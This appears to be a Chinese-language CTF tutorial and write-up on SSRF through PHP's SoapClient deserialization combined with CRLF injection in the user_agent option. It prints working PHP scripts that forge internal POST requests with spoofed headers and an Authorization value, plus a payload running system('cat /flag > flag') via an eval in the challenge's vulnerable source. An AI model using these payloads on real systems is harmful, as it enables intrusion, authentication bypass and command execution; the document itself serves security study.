介绍

webService三要素:

  • wsdl:用来描述如何访问具体的接口
  • uddi:用来管理、分发、查询webservice
  • soap:连接web服务或客户端和服务器之间的端口,使用http作为底层通讯协议,xml作为数据传送的格式

php中的SoapClient类

  • php的soap扩展可以用来提供和使用webservice,这个扩展实现了6哥类,其中soapclient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类也有反序列化常用到的__call魔术方法

  • 构造函数

    1
    2
    3
    public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
    wsdl:用来指定是否是wsdl模式
    第二个参数是一个数组:如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必需设置location和url选项,其中location是要奖请求发送到soap服务器的url,而uri是soap服务的目标命名空间
  • ssrf攻击

    • 如果知道这两个参数,就可以构造出ssrf的paylaod了,我们可以设置第一个参数为null,第二个位置的参数是目标url,当进行反序列化的时候,如果执行力一个SoapClient没有的成员函数,会自动调用该类的__call方法,然后向目标url发送一个soap请求,那么我们可以通过控制url来实现注入

      1
      2
      3
      4
      <?php
      $a = new SoapClient(null, array('location' => "http://xxx.xxx.xxx", 'uri'=> "123"));
      echo serialize($a);
      ?>

crlf(回车+换行)注入

  • 在http协议中,http头部和http body是用两个crlf分隔的,浏览器就是根据这两个crlf来取出http内容并显示出来的。所以一旦我们可以控制http请求头中的字符,注入一些恶意的换行,这样我们就可以注入一些会话cookie或者html代码

  • ssrf+crlf攻击内网

    • 这两个漏洞的配合使用:当我们可以从外网调用到soap的api,而攻击的目标是在内网的时候,那么我们就可以利用SoapClient进行ssrf攻击内网,然后配合crlf构造post请求来增加我们的攻击面

    • 该配合漏洞产生的原理:

      可以看到options参数中还有一个请求头ua头,可以运行我们自己设置的us的值,那么当我们可以控制ua的值的时候,我们就可以构造一个post请求,因为Content-Type为和Content-Length都在User-Agent之下

  • 脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    $target = 'url/bbb.php';
    $post_string = 'a=b&flag=aaa';
    $headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: xxxx=1234'
    );
    $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

    $aaa = serialize($b);
    $aaa = str_replace('^^','%0d%0a',$aaa);
    $aaa = str_replace('&','%26',$aaa);
    echo $aaa;
    ?>

例题

  • 极客大挑战2024-ez_SSRF

    • www.zip把文件下载下来

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      #calculator.php
      <?php
      $admin="aaaaaaaaaaaadmin";
      $adminpass="i_want_to_getI00_inMyT3st";

      function check($auth) {
      global $admin,$adminpass;
      $auth = str_replace('Basic ', '', $auth);
      $auth = base64_decode($auth);
      list($username, $password) = explode(':', $auth);
      echo $username."<br>".$password;
      if($username===$admin && $password===$adminpass) {
      return 1;
      }else{
      return 2;
      }
      }
      if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
      exit("Hacker");
      }
      $expression = $_POST['expression'];
      $auth=$_SERVER['HTTP_AUTHORIZATION'];
      if(isset($auth)){
      if (check($auth)===2) {
      if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
      die("Invalid expression");
      }else{
      $result=eval("return $expression;");
      file_put_contents("result",$result);
      }
      }else{
      $result=eval("return $expression;");
      file_put_contents("result",$result);
      }
      }else{
      exit("Hacker");
      }
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      #h4d333333.php
      <?php
      error_reporting(0);
      if(!isset($_POST['user'])){
      $user="stranger";
      }else{
      $user=$_POST['user'];
      }

      if (isset($_GET['location'])) {
      $location=$_GET['location'];
      $client=new SoapClient(null,array(
      "location"=>$location,
      "uri"=>"hahaha",
      "login"=>"guest",
      "password"=>"gueeeeest!!!!",
      "user_agent"=>$user."'s Chrome"));

      $client->calculator();

      echo file_get_contents("result");
      }else{
      echo "Please give me a location";
      }
    • 在calculator.php里面有一个REMOTE_ADDR,这个是无法通过http请求头伪造绕过的,所以我们通过h4d333333.php去访问calculator.php,那么这里可以想到利用SoapClient类进行SSRF+CRLF攻击

    • 脚本

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      <?php
      $target = 'http://xxx/xxx.php';
      $post_string = 'expression=system("cat /flag > flag");';
      $headers = array(
      'X-Forwarded-For: 127.0.0.1',
      'AUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0'
      );
      $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

      $aaa = serialize($b);
      $aaa = str_replace('^^','%0d%0a',$aaa);
      $aaa = str_replace('&','%26',$aaa);
      echo $aaa;
      ?>

参考